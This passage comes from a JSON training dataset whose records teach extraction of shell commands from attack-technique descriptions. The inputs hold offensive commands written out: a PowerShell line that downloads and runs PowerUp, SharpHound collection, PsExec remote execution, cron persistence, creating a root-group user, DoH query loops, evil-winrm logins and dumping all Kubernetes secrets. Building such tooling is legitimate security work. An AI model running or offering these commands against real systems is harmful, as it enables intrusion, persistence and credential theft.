[\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The HTML file, inspired by Stan Hegt's work, will silently fetch the ISO file when you execute this command: & \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\T1027.006\\\\bin\\\\T1027_006_remote.html\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy and execute a file on a remote host, use the following command after downloading PsExec from the provided link: \"#{psexec_exe}\" #{remote_host} -accepteula -c #{command_path}\n",
    "output": "{\"command_list\": [\"\\\"#{psexec_exe}\\\" #{remote_host} -accepteula -c #{command_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To schedule a script for execution at different intervals, use the following command to add it to cron directories: echo \"#{command}\" > /etc/cron.daily/#{cron_script_name}\necho \"#{command}\" > /etc/cron.hourly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.monthly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.weekly/#{cron_script_name}",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.daily/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.hourly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.monthly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.weekly/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The version information for Internet Explorer can be obtained by executing this registry query: reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\" /v svcVersion",
    "output": "{\"command_list\": [\"reg query \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Internet Explorer\\\" /v svcVersion\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    During the Butter attack campaign, adversaries employed this technique by executing the command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0",
    "output": "{\"command_list\": [\"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For each iteration, the script sends randomized DoH queries and displays DNS information in JSON format with this command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may establish a connection to a remote WinRM-enabled system by executing this command: evil-winrm -i #{destination_address} -u #{user_name} -p #{password}",
    "output": "{\"command_list\": [\"evil-winrm -i #{destination_address} -u #{user_name} -p #{password}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To retrieve all Kubernetes secrets across every namespace, you can use the following command: kubectl get secrets --all-namespaces",
    "output": "{\"command_list\": [\"kubectl get secrets --all-namespaces\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines 